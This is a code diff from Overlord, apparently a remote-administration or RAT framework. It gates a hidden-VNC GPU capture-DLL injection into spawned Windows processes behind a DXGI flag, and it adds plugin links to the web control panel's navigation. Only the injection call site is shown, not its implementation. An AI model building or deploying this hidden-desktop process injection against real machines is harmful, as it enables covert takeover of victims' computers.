diff --git a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go index 70adbaa..d123319 100644 --- a/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go +++ b/Overlord-Client/cmd/agent/capture/hvnc_inject_windows.go @@ -808,7 +808,11 @@ func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, captureD log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid) if len(captureDllBytes) > 0 { - go hvncDeferredGPUInject(pid, captureDllBytes) + if !hvncDXGIEnabled.Load() { + log.Printf("hvnc inject: DXGI is disabled, skipping capture DLL injection for GPU child process") + } else { + go hvncDeferredGPUInject(pid, captureDllBytes) + } } return pid, nil diff --git a/Overlord-Server/public/assets/nav.js b/Overlord-Server/public/assets/nav.js index 0b2a273..ac609be 100644 --- a/Overlord-Server/public/assets/nav.js +++ b/Overlord-Server/public/assets/nav.js @@ -9,6 +9,7 @@ import { import { mountNav } from "./nav/template.js"; import { createAdaptiveNavController } from "./nav/layout.js"; import { applyUserRoleUI } from "./nav/role-ui.js"; +import { loadPluginNavItems } from "./nav/plugins-loader.js"; const host = document.getElementById("top-nav"); if (host) { @@ -38,23 +39,27 @@ if (host) { "/file-share": "file-share-link", "/purgatory": "enrollment-link", }; - const activeId = activeMap[path]; - if (activeId) { - const el = document.getElementById(activeId); - if (el) { - el.classList.add("nav-active"); - // Also expand the parent sidebar group if applicable - const group = el.closest(".sb-group"); - if (group) { - const btn = group.querySelector(".sb-group-btn"); - const children = group.querySelector(".sb-group-children"); - const chevron = btn?.querySelector(".sb-chevron"); - if (btn) btn.setAttribute("aria-expanded", "true"); - if (children) children.classList.add("sb-group-open"); - if (chevron) chevron.classList.add("sb-chevron-open"); + + loadPluginNavItems(activeMap).then(() => { + const activeId = activeMap[path]; + if (activeId) { + const el = document.getElementById(activeId); + if (el) { + el.classList.add("nav-active"); + // Also expand the parent sidebar group if applicable + const group = el.closest(".sb-group"); + if (group) { + const btn = group.querySelector(".sb-group-btn"); + const children = group.querySelector(".sb-group-children"); + const chevron = btn?.querySelector(".sb-chevron"); + if (btn) btn.setAttribute("aria-expanded", "true"); + if (children) children.classList.add("sb-group-open"); + if (chevron) chevron.classList.add("sb-chevron-open"); + } } } - } + }); + if (refs.logoutBtn && !refs.logoutBtn.dataset.boundLogout) { refs.logoutBtn.dataset.boundLogout = "true"; refs.logoutBtn.addEventListener("click", async () => { diff --git a/Overlord-Server/public/assets/nav/plugins-loader.js b/Overlord-Server/public/assets/nav/plugins-loader.js new file mode 100644 index 0000000..8d95fad --- /dev/null +++ b/Overlord-Server/public/assets/nav/plugins-loader.js @@ -0,0 +1,51 @@ +import { dropdownItem, sidebarChild } from "./template.js"; + +export async function loadPluginNavItems(activeMap) { + try { + const res = await fetch("/api/plugins"); + if (!res.ok) return; + + const data = await res.json(); + const plugins = data.plugins; + if (!plugins || !Array.isArray(plugins)) return; + + const navPlugins = plugins.filter( + (p) => p.navbar && p.enabled + ); + + if (navPlugins.length === 0) return; + + const isSidebar = document.querySelector(".sb-group[data-group='plugin_apps']"); + const wg = document.querySelector(".nav-dd-wrapper[data-group='plugin_apps']"); + const container = isSidebar ? document.querySelector(".sb-group[data-group='plugin_apps']") : wg; + + if (!container) return; + + const childContainer = isSidebar + ? container.querySelector(".sb-group-children") + : container.querySelector(".nav-dd-menu"); + + if (!childContainer) return; + + const itemsHtml = navPlugins.map((p) => { + const linkId = `plugin-nav-${p.id}`; + activeMap[`/plugins/${p.id}`] = linkId; + + const childObj = { + href: `/plugins/${p.id}`, + label: p.navbar.label || p.name, + icon: p.navbar.icon || "fa-cube", + iconColor: "text-slate-300", + linkId: linkId, + }; + + return isSidebar ? sidebarChild(childObj) : dropdownItem(childObj); + }).join(""); + + childContainer.innerHTML = itemsHtml; + container.classList.remove("hidden"); + + } catch (err) { + console.error("Failed to load plugin nav items", err); + } +} diff --git a/Overlord-Server/public/assets/nav/template.js b/Overlord-Server/public/assets/nav/template.js index 5e9f61b..8288901 100644 --- a/Overlord-Server/public/assets/nav/template.js +++ b/Overlord-Server/public/assets/nav/template.js @@ -4,7 +4,7 @@ export const NAV_MODE_KEY = "sb_mode"; NAVIGATION DATA — single source of truth ────────────────────────────────────────────── */ -const NAV_GROUPS = [ +export const NAV_GROUPS = [ { id: "clients", label: "Clients", @@ -65,13 +65,21 @@ const NAV_GROUPS = [ { href: "/metrics", label: "Metrics", icon: "fa-chart-line", iconColor: "text-emerald-400", linkId: "metrics-link" }, ], }, + { + id: "plugin_apps", + label: "Plugin Apps", + icon: "fa-plug", + iconColor: "text-fuchsia-400", + hidden: true, + children: [], + } ]; /* ────────────────────────────────────────────── TOPBAR — dropdown menus ────────────────────────────────────────────── */ -function dropdownItem(child) { +export function dropdownItem(child) { const hiddenCls = child.hidden ? " hidden" : ""; const badgeHtml = child.hasBadge ? `` @@ -100,8 +108,9 @@ function dropdownGroup(group) { } // Dropdown group — wrapper always visible, children control visibility const items = group.children.map(dropdownItem).join(""); + const groupHidden = group.hidden ? " hidden" : ""; return ` -